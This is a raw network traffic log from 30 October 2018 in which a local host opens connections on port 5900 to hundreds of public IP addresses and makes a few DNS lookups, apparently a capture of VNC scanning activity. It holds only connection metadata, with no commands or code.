Oct 30, 2018 14:44:11.052931070 CET	49504	5900	192.168.1.81	90.4.174.193
Oct 30, 2018 14:44:11.074562073 CET	49596	5900	192.168.1.81	105.13.171.33
Oct 30, 2018 14:44:11.084575891 CET	49505	5900	192.168.1.81	66.124.182.128
Oct 30, 2018 14:44:11.099522114 CET	49506	5900	192.168.1.81	157.31.205.147
Oct 30, 2018 14:44:11.104357004 CET	49597	5900	192.168.1.81	141.36.27.81
Oct 30, 2018 14:44:11.130912066 CET	49507	5900	192.168.1.81	94.25.220.198
Oct 30, 2018 14:44:11.136142969 CET	49598	5900	192.168.1.81	196.105.96.144
Oct 30, 2018 14:44:11.162295103 CET	49508	5900	192.168.1.81	206.40.50.17
Oct 30, 2018 14:44:11.168262005 CET	49599	5900	192.168.1.81	55.111.36.174
Oct 30, 2018 14:44:11.193677902 CET	49509	5900	192.168.1.81	132.47.255.47
Oct 30, 2018 14:44:11.198748112 CET	49600	5900	192.168.1.81	66.183.90.198
Oct 30, 2018 14:44:11.228049040 CET	49601	5900	192.168.1.81	206.64.69.54
Oct 30, 2018 14:44:11.240684986 CET	49510	5900	192.168.1.81	90.179.230.189
Oct 30, 2018 14:44:11.256371975 CET	49511	5900	192.168.1.81	92.167.9.160
Oct 30, 2018 14:44:11.256436110 CET	49585	5900	192.168.1.81	94.177.161.119
Oct 30, 2018 14:44:11.261351109 CET	49602	5900	192.168.1.81	128.99.3.85
Oct 30, 2018 14:44:11.282895088 CET	5900	49585	94.177.161.119	192.168.1.81
Oct 30, 2018 14:44:11.292730093 CET	49603	5900	192.168.1.81	160.78.112.163
Oct 30, 2018 14:44:11.318348885 CET	49512	5900	192.168.1.81	186.178.226.90
Oct 30, 2018 14:44:11.349468946 CET	49513	5900	192.168.1.81	160.80.155.191
Oct 30, 2018 14:44:11.358652115 CET	49604	5900	192.168.1.81	34.215.94.158
Oct 30, 2018 14:44:11.363936901 CET	49605	5900	192.168.1.81	124.28.109.113
Oct 30, 2018 14:44:11.380774021 CET	49514	5900	192.168.1.81	158.255.106.211
Oct 30, 2018 14:44:11.383378983 CET	49606	5900	192.168.1.81	84.176.120.181
Oct 30, 2018 14:44:11.412229061 CET	49515	5900	192.168.1.81	202.67.125.114
Oct 30, 2018 14:44:11.416862965 CET	49607	5900	192.168.1.81	111.43.245.121
Oct 30, 2018 14:44:11.443541050 CET	49516	5900	192.168.1.81	81.242.47.162
Oct 30, 2018 14:44:11.448395014 CET	49608	5900	192.168.1.81	198.251.170.64
Oct 30, 2018 14:44:11.475066900 CET	49517	5900	192.168.1.81	101.118.118.229
Oct 30, 2018 14:44:11.494585037 CET	56204	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:11.509599924 CET	49609	5900	192.168.1.81	141.136.38.119
Oct 30, 2018 14:44:11.521754026 CET	49518	5900	192.168.1.81	202.246.6.115
Oct 30, 2018 14:44:11.537359953 CET	49519	5900	192.168.1.81	101.175.95.116
Oct 30, 2018 14:44:11.540716887 CET	49610	5900	192.168.1.81	202.191.132.187
Oct 30, 2018 14:44:11.568809986 CET	49520	5900	192.168.1.81	197.94.226.26
Oct 30, 2018 14:44:11.574518919 CET	49611	5900	192.168.1.81	196.188.88.177
Oct 30, 2018 14:44:11.600159883 CET	49521	5900	192.168.1.81	86.126.145.37
Oct 30, 2018 14:44:11.604455948 CET	49612	5900	192.168.1.81	41.13.106.33
Oct 30, 2018 14:44:11.631303072 CET	49522	5900	192.168.1.81	183.203.146.39
Oct 30, 2018 14:44:11.633764982 CET	49613	5900	192.168.1.81	60.16.30.122
Oct 30, 2018 14:44:11.661873102 CET	49523	5900	192.168.1.81	200.53.191.23
Oct 30, 2018 14:44:11.664994001 CET	49614	5900	192.168.1.81	157.133.253.199
Oct 30, 2018 14:44:11.696940899 CET	49524	5900	192.168.1.81	100.184.51.149
Oct 30, 2018 14:44:11.699512005 CET	49615	5900	192.168.1.81	141.2.188.190
Oct 30, 2018 14:44:11.724544048 CET	49525	5900	192.168.1.81	183.234.162.103
Oct 30, 2018 14:44:11.729887009 CET	49616	5900	192.168.1.81	75.135.137.158
Oct 30, 2018 14:44:11.755809069 CET	49526	5900	192.168.1.81	64.123.9.3
Oct 30, 2018 14:44:11.759659052 CET	49617	5900	192.168.1.81	151.43.183.9
Oct 30, 2018 14:44:11.787285089 CET	49585	5900	192.168.1.81	94.177.161.119
Oct 30, 2018 14:44:11.790471077 CET	49618	5900	192.168.1.81	193.5.235.147
Oct 30, 2018 14:44:11.805656910 CET	49527	5900	192.168.1.81	101.22.233.62
Oct 30, 2018 14:44:11.813855886 CET	5900	49585	94.177.161.119	192.168.1.81
Oct 30, 2018 14:44:11.822983980 CET	49619	5900	192.168.1.81	193.90.241.70
Oct 30, 2018 14:44:11.833928108 CET	49528	5900	192.168.1.81	178.235.31.124
Oct 30, 2018 14:44:11.849591970 CET	49529	5900	192.168.1.81	103.179.13.92
Oct 30, 2018 14:44:11.854279995 CET	49620	5900	192.168.1.81	114.175.93.38
Oct 30, 2018 14:44:11.880927086 CET	49530	5900	192.168.1.81	112.141.51.213
Oct 30, 2018 14:44:11.883709908 CET	49621	5900	192.168.1.81	129.198.153.166
Oct 30, 2018 14:44:11.912350893 CET	49531	5900	192.168.1.81	187.247.93.61
Oct 30, 2018 14:44:11.916450977 CET	49622	5900	192.168.1.81	44.41.13.136
Oct 30, 2018 14:44:11.943762064 CET	49532	5900	192.168.1.81	89.82.125.24
Oct 30, 2018 14:44:11.948848963 CET	49623	5900	192.168.1.81	198.72.238.5
Oct 30, 2018 14:44:11.975107908 CET	49533	5900	192.168.1.81	57.155.113.75
Oct 30, 2018 14:44:11.979571104 CET	49624	5900	192.168.1.81	84.78.132.84
Oct 30, 2018 14:44:12.021411896 CET	49534	5900	192.168.1.81	166.101.58.119
Oct 30, 2018 14:44:12.037103891 CET	49535	5900	192.168.1.81	186.45.222.33
Oct 30, 2018 14:44:12.043019056 CET	49625	5900	192.168.1.81	50.11.227.203
Oct 30, 2018 14:44:12.068363905 CET	49536	5900	192.168.1.81	38.141.16.227
Oct 30, 2018 14:44:12.072971106 CET	49626	5900	192.168.1.81	149.145.19.238
Oct 30, 2018 14:44:12.099678993 CET	49537	5900	192.168.1.81	187.252.63.222
Oct 30, 2018 14:44:12.103902102 CET	49627	5900	192.168.1.81	190.194.105.171
Oct 30, 2018 14:44:12.130995035 CET	49538	5900	192.168.1.81	77.21.59.155
Oct 30, 2018 14:44:12.143174887 CET	49628	5900	192.168.1.81	90.84.76.164
Oct 30, 2018 14:44:12.162219048 CET	49539	5900	192.168.1.81	148.139.10.136
Oct 30, 2018 14:44:12.165941000 CET	49629	5900	192.168.1.81	152.69.73.16
Oct 30, 2018 14:44:12.193628073 CET	49540	5900	192.168.1.81	129.81.17.221
Oct 30, 2018 14:44:12.198484898 CET	49630	5900	192.168.1.81	134.18.182.117
Oct 30, 2018 14:44:12.225028992 CET	49541	5900	192.168.1.81	142.25.63.251
Oct 30, 2018 14:44:12.228857994 CET	49631	5900	192.168.1.81	153.212.214.228
Oct 30, 2018 14:44:12.262219906 CET	49632	5900	192.168.1.81	135.49.17.1
Oct 30, 2018 14:44:12.272006989 CET	49542	5900	192.168.1.81	80.40.208.31
Oct 30, 2018 14:44:12.292140007 CET	49633	5900	192.168.1.81	68.65.122.104
Oct 30, 2018 14:44:12.318947077 CET	49543	5900	192.168.1.81	68.181.94.239
Oct 30, 2018 14:44:12.322613001 CET	49634	5900	192.168.1.81	162.135.59.224
Oct 30, 2018 14:44:12.333852053 CET	49544	5900	192.168.1.81	200.55.68.86
Oct 30, 2018 14:44:12.349524021 CET	49545	5900	192.168.1.81	131.234.171.11
Oct 30, 2018 14:44:12.354121923 CET	49635	5900	192.168.1.81	82.7.1.64
Oct 30, 2018 14:44:12.384123087 CET	49636	5900	192.168.1.81	104.2.167.131
Oct 30, 2018 14:44:12.427757025 CET	49546	5900	192.168.1.81	38.113.207.2
Oct 30, 2018 14:44:12.443500996 CET	49547	5900	192.168.1.81	95.140.134.190
Oct 30, 2018 14:44:12.448369026 CET	49637	5900	192.168.1.81	63.102.27.24
Oct 30, 2018 14:44:12.478765011 CET	49638	5900	192.168.1.81	37.224.158.208
Oct 30, 2018 14:44:12.490483999 CET	49548	5900	192.168.1.81	134.245.186.203
Oct 30, 2018 14:44:12.491522074 CET	56204	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:12.510715008 CET	49639	5900	192.168.1.81	61.161.62.5
Oct 30, 2018 14:44:12.522023916 CET	49549	5900	192.168.1.81	99.124.155.104
Oct 30, 2018 14:44:12.536946058 CET	49550	5900	192.168.1.81	151.115.218.101
Oct 30, 2018 14:44:12.541323900 CET	49640	5900	192.168.1.81	155.157.22.85
Oct 30, 2018 14:44:12.568434954 CET	49551	5900	192.168.1.81	180.163.94.252
Oct 30, 2018 14:44:12.573194981 CET	49641	5900	192.168.1.81	170.165.251.245
Oct 30, 2018 14:44:12.578531981 CET	53	56204	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:12.617969036 CET	49642	5900	192.168.1.81	168.194.111.84
Oct 30, 2018 14:44:12.631485939 CET	49552	5900	192.168.1.81	58.148.45.35
Oct 30, 2018 14:44:12.631547928 CET	49553	5900	192.168.1.81	157.21.159.140
Oct 30, 2018 14:44:12.646816015 CET	49643	5900	192.168.1.81	125.215.180.246
Oct 30, 2018 14:44:12.662664890 CET	49554	5900	192.168.1.81	161.49.141.146
Oct 30, 2018 14:44:12.667438030 CET	49644	5900	192.168.1.81	144.178.4.180
Oct 30, 2018 14:44:12.696228981 CET	49555	5900	192.168.1.81	43.32.11.55
Oct 30, 2018 14:44:12.699851990 CET	49645	5900	192.168.1.81	63.144.186.152
Oct 30, 2018 14:44:12.727639914 CET	49646	5900	192.168.1.81	169.55.80.252
Oct 30, 2018 14:44:12.758557081 CET	49647	5900	192.168.1.81	60.168.40.179
Oct 30, 2018 14:44:12.787138939 CET	49556	5900	192.168.1.81	62.202.100.237
Oct 30, 2018 14:44:12.787184954 CET	49557	5900	192.168.1.81	130.222.122.234
Oct 30, 2018 14:44:12.787201881 CET	49558	5900	192.168.1.81	108.174.30.30
Oct 30, 2018 14:44:12.790704966 CET	49648	5900	192.168.1.81	207.23.107.94
Oct 30, 2018 14:44:12.822567940 CET	49649	5900	192.168.1.81	84.24.125.173
Oct 30, 2018 14:44:12.854022026 CET	49650	5900	192.168.1.81	74.191.79.65
Oct 30, 2018 14:44:12.881150007 CET	49559	5900	192.168.1.81	34.78.21.166
Oct 30, 2018 14:44:12.881228924 CET	49560	5900	192.168.1.81	104.147.238.205
Oct 30, 2018 14:44:12.881254911 CET	49561	5900	192.168.1.81	103.133.63.225
Oct 30, 2018 14:44:12.886074066 CET	49651	5900	192.168.1.81	119.36.140.84
Oct 30, 2018 14:44:12.917515039 CET	49652	5900	192.168.1.81	188.118.114.107
Oct 30, 2018 14:44:12.946842909 CET	49653	5900	192.168.1.81	62.159.67.71
Oct 30, 2018 14:44:12.980257034 CET	49654	5900	192.168.1.81	75.165.177.176
Oct 30, 2018 14:44:12.990665913 CET	49562	5900	192.168.1.81	105.211.116.139
Oct 30, 2018 14:44:12.990732908 CET	49563	5900	192.168.1.81	186.107.93.231
Oct 30, 2018 14:44:12.990752935 CET	49564	5900	192.168.1.81	137.179.22.251
Oct 30, 2018 14:44:13.009965897 CET	49655	5900	192.168.1.81	100.183.179.246
Oct 30, 2018 14:44:13.042623043 CET	49656	5900	192.168.1.81	125.44.8.180
Oct 30, 2018 14:44:13.084371090 CET	49565	5900	192.168.1.81	74.14.98.220
Oct 30, 2018 14:44:13.084435940 CET	49566	5900	192.168.1.81	146.54.193.155
Oct 30, 2018 14:44:13.084455013 CET	49567	5900	192.168.1.81	147.249.176.70
Oct 30, 2018 14:44:13.087918043 CET	62728	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:13.089981079 CET	49657	5900	192.168.1.81	153.81.119.41
Oct 30, 2018 14:44:13.103095055 CET	49658	5900	192.168.1.81	124.202.144.63
Oct 30, 2018 14:44:13.115694046 CET	49568	5900	192.168.1.81	190.5.241.21
Oct 30, 2018 14:44:13.135976076 CET	49659	5900	192.168.1.81	198.249.224.23
Oct 30, 2018 14:44:13.162782907 CET	49569	5900	192.168.1.81	167.106.137.159
Oct 30, 2018 14:44:13.168757915 CET	49660	5900	192.168.1.81	62.148.236.158
Oct 30, 2018 14:44:13.193248034 CET	49570	5900	192.168.1.81	203.144.83.146
Oct 30, 2018 14:44:13.197218895 CET	49661	5900	192.168.1.81	111.103.123.24
Oct 30, 2018 14:44:13.224504948 CET	49571	5900	192.168.1.81	191.79.248.112
Oct 30, 2018 14:44:13.229202986 CET	49662	5900	192.168.1.81	197.249.222.152
Oct 30, 2018 14:44:13.258935928 CET	49663	5900	192.168.1.81	99.129.89.217
Oct 30, 2018 14:44:13.271445036 CET	49572	5900	192.168.1.81	189.142.94.157
Oct 30, 2018 14:44:13.294634104 CET	49664	5900	192.168.1.81	148.220.74.110
Oct 30, 2018 14:44:13.302828074 CET	49573	5900	192.168.1.81	93.215.55.68
Oct 30, 2018 14:44:13.318531990 CET	49574	5900	192.168.1.81	190.42.146.238
Oct 30, 2018 14:44:13.325284958 CET	49665	5900	192.168.1.81	100.5.185.173
Oct 30, 2018 14:44:13.349817038 CET	49575	5900	192.168.1.81	67.139.12.232
Oct 30, 2018 14:44:13.404210091 CET	5900	49656	125.44.8.180	192.168.1.81
Oct 30, 2018 14:44:13.411259890 CET	49666	5900	192.168.1.81	113.181.123.237
Oct 30, 2018 14:44:13.412090063 CET	49576	5900	192.168.1.81	189.49.22.58
Oct 30, 2018 14:44:13.412200928 CET	49577	5900	192.168.1.81	74.133.40.101
Oct 30, 2018 14:44:13.422132969 CET	49667	5900	192.168.1.81	120.175.115.95
Oct 30, 2018 14:44:13.443612099 CET	49578	5900	192.168.1.81	110.119.84.159
Oct 30, 2018 14:44:13.448498011 CET	49668	5900	192.168.1.81	77.207.61.149
Oct 30, 2018 14:44:13.479698896 CET	49669	5900	192.168.1.81	114.254.57.162
Oct 30, 2018 14:44:13.511070967 CET	49670	5900	192.168.1.81	203.10.69.70
Oct 30, 2018 14:44:13.521929979 CET	53	62728	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:13.521943092 CET	49579	5900	192.168.1.81	174.42.11.171
Oct 30, 2018 14:44:13.542710066 CET	49671	5900	192.168.1.81	167.255.166.143
Oct 30, 2018 14:44:13.568979979 CET	49580	5900	192.168.1.81	164.169.170.220
Oct 30, 2018 14:44:13.574163914 CET	49672	5900	192.168.1.81	129.45.231.5
Oct 30, 2018 14:44:13.599627972 CET	49581	5900	192.168.1.81	171.203.228.25
Oct 30, 2018 14:44:13.602798939 CET	49673	5900	192.168.1.81	149.46.166.37
Oct 30, 2018 14:44:13.630970001 CET	49582	5900	192.168.1.81	96.252.7.64
Oct 30, 2018 14:44:13.637892962 CET	49674	5900	192.168.1.81	177.215.165.206
Oct 30, 2018 14:44:13.662214041 CET	49583	5900	192.168.1.81	98.62.124.90
Oct 30, 2018 14:44:13.666192055 CET	49675	5900	192.168.1.81	163.221.28.237
Oct 30, 2018 14:44:13.693583965 CET	49584	5900	192.168.1.81	96.202.220.29
Oct 30, 2018 14:44:13.697511911 CET	49676	5900	192.168.1.81	197.111.129.122
Oct 30, 2018 14:44:13.729707956 CET	49677	5900	192.168.1.81	107.64.105.163
Oct 30, 2018 14:44:13.756328106 CET	49586	5900	192.168.1.81	74.234.25.46
Oct 30, 2018 14:44:13.762520075 CET	49678	5900	192.168.1.81	147.171.167.44
Oct 30, 2018 14:44:13.793366909 CET	49679	5900	192.168.1.81	43.110.61.233
Oct 30, 2018 14:44:13.794852972 CET	5900	49678	147.171.167.44	192.168.1.81
Oct 30, 2018 14:44:13.803247929 CET	49587	5900	192.168.1.81	88.197.120.156
Oct 30, 2018 14:44:13.818155050 CET	49588	5900	192.168.1.81	75.133.255.108
Oct 30, 2018 14:44:13.821111917 CET	49680	5900	192.168.1.81	118.165.103.85
Oct 30, 2018 14:44:13.849455118 CET	49589	5900	192.168.1.81	59.111.248.93
Oct 30, 2018 14:44:13.852639914 CET	49681	5900	192.168.1.81	164.8.179.157
Oct 30, 2018 14:44:13.880949974 CET	49590	5900	192.168.1.81	204.63.155.232
Oct 30, 2018 14:44:13.884383917 CET	49682	5900	192.168.1.81	72.8.253.200
Oct 30, 2018 14:44:13.912411928 CET	49656	5900	192.168.1.81	125.44.8.180
Oct 30, 2018 14:44:13.912522078 CET	49591	5900	192.168.1.81	132.171.9.219
Oct 30, 2018 14:44:13.920059919 CET	49683	5900	192.168.1.81	55.227.197.171
Oct 30, 2018 14:44:13.943766117 CET	49592	5900	192.168.1.81	144.249.125.56
Oct 30, 2018 14:44:13.952223063 CET	49684	5900	192.168.1.81	170.61.171.222
Oct 30, 2018 14:44:13.970046997 CET	53	56204	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:13.974273920 CET	49593	5900	192.168.1.81	94.75.224.118
Oct 30, 2018 14:44:13.978909016 CET	49685	5900	192.168.1.81	142.202.14.121
Oct 30, 2018 14:44:14.006153107 CET	49594	5900	192.168.1.81	111.162.205.236
Oct 30, 2018 14:44:14.009387970 CET	49686	5900	192.168.1.81	51.58.156.164
Oct 30, 2018 14:44:14.045164108 CET	5900	49682	72.8.253.200	192.168.1.81
Oct 30, 2018 14:44:14.053237915 CET	49595	5900	192.168.1.81	107.71.71.139
Oct 30, 2018 14:44:14.072343111 CET	49596	5900	192.168.1.81	105.13.171.33
Oct 30, 2018 14:44:14.078243971 CET	49687	5900	192.168.1.81	164.204.82.228
Oct 30, 2018 14:44:14.099600077 CET	49597	5900	192.168.1.81	141.36.27.81
Oct 30, 2018 14:44:14.120354891 CET	49688	5900	192.168.1.81	133.211.164.33
Oct 30, 2018 14:44:14.129113913 CET	62702	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:14.150060892 CET	49689	5900	192.168.1.81	198.21.107.201
Oct 30, 2018 14:44:14.180099010 CET	49690	5900	192.168.1.81	99.166.195.38
Oct 30, 2018 14:44:14.208837986 CET	49598	5900	192.168.1.81	196.105.96.144
Oct 30, 2018 14:44:14.208889961 CET	49599	5900	192.168.1.81	55.111.36.174
Oct 30, 2018 14:44:14.208911896 CET	49600	5900	192.168.1.81	66.183.90.198
Oct 30, 2018 14:44:14.212471962 CET	49691	5900	192.168.1.81	46.226.112.161
Oct 30, 2018 14:44:14.240195990 CET	49601	5900	192.168.1.81	206.64.69.54
Oct 30, 2018 14:44:14.243323088 CET	49692	5900	192.168.1.81	117.136.255.52
Oct 30, 2018 14:44:14.255892038 CET	49602	5900	192.168.1.81	128.99.3.85
Oct 30, 2018 14:44:14.275397062 CET	5900	49656	125.44.8.180	192.168.1.81
Oct 30, 2018 14:44:14.275988102 CET	49693	5900	192.168.1.81	60.4.184.168
Oct 30, 2018 14:44:14.302916050 CET	49603	5900	192.168.1.81	160.78.112.163
Oct 30, 2018 14:44:14.303000927 CET	49678	5900	192.168.1.81	147.171.167.44
Oct 30, 2018 14:44:14.306637049 CET	49694	5900	192.168.1.81	119.151.144.234
Oct 30, 2018 14:44:14.335871935 CET	5900	49678	147.171.167.44	192.168.1.81
Oct 30, 2018 14:44:14.338754892 CET	49695	5900	192.168.1.81	72.222.47.154
Oct 30, 2018 14:44:14.349534988 CET	49604	5900	192.168.1.81	34.215.94.158
Oct 30, 2018 14:44:14.365303040 CET	49605	5900	192.168.1.81	124.28.109.113
Oct 30, 2018 14:44:14.368704081 CET	49696	5900	192.168.1.81	186.200.207.141
Oct 30, 2018 14:44:14.396647930 CET	49606	5900	192.168.1.81	84.176.120.181
Oct 30, 2018 14:44:14.400223017 CET	49697	5900	192.168.1.81	74.153.236.127
Oct 30, 2018 14:44:14.428019047 CET	49607	5900	192.168.1.81	111.43.245.121
Oct 30, 2018 14:44:14.437180996 CET	49698	5900	192.168.1.81	176.146.140.21
Oct 30, 2018 14:44:14.443567991 CET	49608	5900	192.168.1.81	198.251.170.64
Oct 30, 2018 14:44:14.461570978 CET	49699	5900	192.168.1.81	30.194.46.1
Oct 30, 2018 14:44:14.496058941 CET	49700	5900	192.168.1.81	129.36.27.82
Oct 30, 2018 14:44:14.522098064 CET	49609	5900	192.168.1.81	141.136.38.119
Oct 30, 2018 14:44:14.525738001 CET	49701	5900	192.168.1.81	61.15.21.90
Oct 30, 2018 14:44:14.552922964 CET	49610	5900	192.168.1.81	202.191.132.187
Oct 30, 2018 14:44:14.553025007 CET	49682	5900	192.168.1.81	72.8.253.200
Oct 30, 2018 14:44:14.559065104 CET	49702	5900	192.168.1.81	157.165.64.31
Oct 30, 2018 14:44:14.584269047 CET	49611	5900	192.168.1.81	196.188.88.177
Oct 30, 2018 14:44:14.589036942 CET	49703	5900	192.168.1.81	173.45.48.206
Oct 30, 2018 14:44:14.615590096 CET	49612	5900	192.168.1.81	41.13.106.33
Oct 30, 2018 14:44:14.619391918 CET	49704	5900	192.168.1.81	111.151.236.36
Oct 30, 2018 14:44:14.646975040 CET	49613	5900	192.168.1.81	60.16.30.122
Oct 30, 2018 14:44:14.650774956 CET	49705	5900	192.168.1.81	181.31.105.55
Oct 30, 2018 14:44:14.662631035 CET	49614	5900	192.168.1.81	157.133.253.199
Oct 30, 2018 14:44:14.681750059 CET	49706	5900	192.168.1.81	34.180.64.41
Oct 30, 2018 14:44:14.693274021 CET	49615	5900	192.168.1.81	141.2.188.190
Oct 30, 2018 14:44:14.712841988 CET	49707	5900	192.168.1.81	55.171.40.26
Oct 30, 2018 14:44:14.713095903 CET	5900	49682	72.8.253.200	192.168.1.81
Oct 30, 2018 14:44:14.724667072 CET	49616	5900	192.168.1.81	75.135.137.158
Oct 30, 2018 14:44:14.741177082 CET	5900	49701	61.15.21.90	192.168.1.81
Oct 30, 2018 14:44:14.743478060 CET	49708	5900	192.168.1.81	114.101.231.244
Oct 30, 2018 14:44:14.756122112 CET	49617	5900	192.168.1.81	151.43.183.9
Oct 30, 2018 14:44:14.771759987 CET	49656	5900	192.168.1.81	125.44.8.180
Oct 30, 2018 14:44:14.776802063 CET	49709	5900	192.168.1.81	155.218.92.88
Oct 30, 2018 14:44:14.787455082 CET	49618	5900	192.168.1.81	193.5.235.147
Oct 30, 2018 14:44:14.805171967 CET	49710	5900	192.168.1.81	175.204.191.71
Oct 30, 2018 14:44:14.818250895 CET	49619	5900	192.168.1.81	193.90.241.70
Oct 30, 2018 14:44:14.833929062 CET	49678	5900	192.168.1.81	147.171.167.44
Oct 30, 2018 14:44:14.838485956 CET	49711	5900	192.168.1.81	159.5.200.228
Oct 30, 2018 14:44:14.865309000 CET	49620	5900	192.168.1.81	114.175.93.38
Oct 30, 2018 14:44:14.866014004 CET	5900	49678	147.171.167.44	192.168.1.81
Oct 30, 2018 14:44:14.869035006 CET	49712	5900	192.168.1.81	62.218.82.211
Oct 30, 2018 14:44:14.896660089 CET	49621	5900	192.168.1.81	129.198.153.166
Oct 30, 2018 14:44:14.900154114 CET	49713	5900	192.168.1.81	145.243.167.144
Oct 30, 2018 14:44:14.912374973 CET	49622	5900	192.168.1.81	44.41.13.136
Oct 30, 2018 14:44:14.936132908 CET	49714	5900	192.168.1.81	98.116.157.214
Oct 30, 2018 14:44:14.943712950 CET	49623	5900	192.168.1.81	198.72.238.5
Oct 30, 2018 14:44:14.962817907 CET	49715	5900	192.168.1.81	175.13.151.102
Oct 30, 2018 14:44:14.975111961 CET	49624	5900	192.168.1.81	84.78.132.84
Oct 30, 2018 14:44:14.995517015 CET	49716	5900	192.168.1.81	141.167.169.60
Oct 30, 2018 14:44:15.025285006 CET	49717	5900	192.168.1.81	152.148.223.148
Oct 30, 2018 14:44:15.038795948 CET	49625	5900	192.168.1.81	50.11.227.203
Oct 30, 2018 14:44:15.056961060 CET	49718	5900	192.168.1.81	160.120.245.74
Oct 30, 2018 14:44:15.068175077 CET	49626	5900	192.168.1.81	149.145.19.238
Oct 30, 2018 14:44:15.087461948 CET	49719	5900	192.168.1.81	72.244.124.228
Oct 30, 2018 14:44:15.099908113 CET	49627	5900	192.168.1.81	190.194.105.171
Oct 30, 2018 14:44:15.115783930 CET	62702	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:15.118886948 CET	49720	5900	192.168.1.81	31.173.46.234
Oct 30, 2018 14:44:15.131283998 CET	49628	5900	192.168.1.81	90.84.76.164
Oct 30, 2018 14:44:15.133152008 CET	5900	49656	125.44.8.180	192.168.1.81
Oct 30, 2018 14:44:15.149317980 CET	49721	5900	192.168.1.81	144.167.1.203
Oct 30, 2018 14:44:15.162791967 CET	49629	5900	192.168.1.81	152.69.73.16
Oct 30, 2018 14:44:15.179599047 CET	49722	5900	192.168.1.81	90.63.178.121
Oct 30, 2018 14:44:15.193298101 CET	49630	5900	192.168.1.81	134.18.182.117
Oct 30, 2018 14:44:15.208971977 CET	49682	5900	192.168.1.81	72.8.253.200
Oct 30, 2018 14:44:15.213778019 CET	49723	5900	192.168.1.81	48.153.77.254
Oct 30, 2018 14:44:15.224678993 CET	49631	5900	192.168.1.81	153.212.214.228
Oct 30, 2018 14:44:15.238991976 CET	53	62702	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:15.240428925 CET	49701	5900	192.168.1.81	61.15.21.90
Oct 30, 2018 14:44:15.244304895 CET	49724	5900	192.168.1.81	109.75.118.42
Oct 30, 2018 14:44:15.271678925 CET	49632	5900	192.168.1.81	135.49.17.1
Oct 30, 2018 14:44:15.276330948 CET	49725	5900	192.168.1.81	39.47.131.33
Oct 30, 2018 14:44:15.303153992 CET	49633	5900	192.168.1.81	68.65.122.104
Oct 30, 2018 14:44:15.307580948 CET	49726	5900	192.168.1.81	65.151.29.244
Oct 30, 2018 14:44:15.334331036 CET	49634	5900	192.168.1.81	162.135.59.224
Oct 30, 2018 14:44:15.336522102 CET	49727	5900	192.168.1.81	115.82.100.125
Oct 30, 2018 14:44:15.365700960 CET	49635	5900	192.168.1.81	82.7.1.64
Oct 30, 2018 14:44:15.368089914 CET	49728	5900	192.168.1.81	168.49.125.160
Oct 30, 2018 14:44:15.369021893 CET	5900	49682	72.8.253.200	192.168.1.81
Oct 30, 2018 14:44:15.381418943 CET	49636	5900	192.168.1.81	104.2.167.131
Oct 30, 2018 14:44:15.435863972 CET	49729	5900	192.168.1.81	166.16.229.80
Oct 30, 2018 14:44:15.440896034 CET	49730	5900	192.168.1.81	69.8.102.208
Oct 30, 2018 14:44:15.443641901 CET	49637	5900	192.168.1.81	63.102.27.24
Oct 30, 2018 14:44:15.461818933 CET	49731	5900	192.168.1.81	65.197.171.163
Oct 30, 2018 14:44:15.472794056 CET	5900	49701	61.15.21.90	192.168.1.81
Oct 30, 2018 14:44:15.474951982 CET	49638	5900	192.168.1.81	37.224.158.208
Oct 30, 2018 14:44:15.494920015 CET	49732	5900	192.168.1.81	62.175.54.166
Oct 30, 2018 14:44:15.522054911 CET	49639	5900	192.168.1.81	61.161.62.5
Oct 30, 2018 14:44:15.526205063 CET	49733	5900	192.168.1.81	149.226.65.183
Oct 30, 2018 14:44:15.552614927 CET	49640	5900	192.168.1.81	155.157.22.85
Oct 30, 2018 14:44:15.556122065 CET	49734	5900	192.168.1.81	49.31.67.247
Oct 30, 2018 14:44:15.583976030 CET	49641	5900	192.168.1.81	170.165.251.245
Oct 30, 2018 14:44:15.589021921 CET	49735	5900	192.168.1.81	125.52.46.126
Oct 30, 2018 14:44:15.615385056 CET	49642	5900	192.168.1.81	168.194.111.84
Oct 30, 2018 14:44:15.619143009 CET	49736	5900	192.168.1.81	59.137.22.15
Oct 30, 2018 14:44:15.646795034 CET	49643	5900	192.168.1.81	125.215.180.246
Oct 30, 2018 14:44:15.651256084 CET	49737	5900	192.168.1.81	157.69.86.167
Oct 30, 2018 14:44:15.662420034 CET	49644	5900	192.168.1.81	144.178.4.180
Oct 30, 2018 14:44:15.680054903 CET	49738	5900	192.168.1.81	60.68.240.124
Oct 30, 2018 14:44:15.709439993 CET	49645	5900	192.168.1.81	63.144.186.152
Oct 30, 2018 14:44:15.713494062 CET	49739	5900	192.168.1.81	47.204.169.182
Oct 30, 2018 14:44:15.725090027 CET	49646	5900	192.168.1.81	169.55.80.252
Oct 30, 2018 14:44:15.741638899 CET	56518	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:15.743637085 CET	49740	5900	192.168.1.81	41.190.40.125
Oct 30, 2018 14:44:15.756422997 CET	49647	5900	192.168.1.81	60.168.40.179
Oct 30, 2018 14:44:15.775157928 CET	49741	5900	192.168.1.81	85.170.35.51
Oct 30, 2018 14:44:15.802679062 CET	49648	5900	192.168.1.81	207.23.107.94
Oct 30, 2018 14:44:15.804748058 CET	49742	5900	192.168.1.81	48.7.77.103
Oct 30, 2018 14:44:15.811980963 CET	53	56518	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:15.818351984 CET	49649	5900	192.168.1.81	84.24.125.173
Oct 30, 2018 14:44:15.849726915 CET	49650	5900	192.168.1.81	74.191.79.65
Oct 30, 2018 14:44:15.851783037 CET	49743	5900	192.168.1.81	107.119.28.93
Oct 30, 2018 14:44:15.872833967 CET	5900	49674	177.215.165.206	192.168.1.81
Oct 30, 2018 14:44:15.878739119 CET	49744	5900	192.168.1.81	200.223.159.178
Oct 30, 2018 14:44:15.881151915 CET	49651	5900	192.168.1.81	119.36.140.84
Oct 30, 2018 14:44:15.898804903 CET	49745	5900	192.168.1.81	83.38.234.126
Oct 30, 2018 14:44:15.928261042 CET	49652	5900	192.168.1.81	188.118.114.107
Oct 30, 2018 14:44:15.932389975 CET	49746	5900	192.168.1.81	122.236.222.133
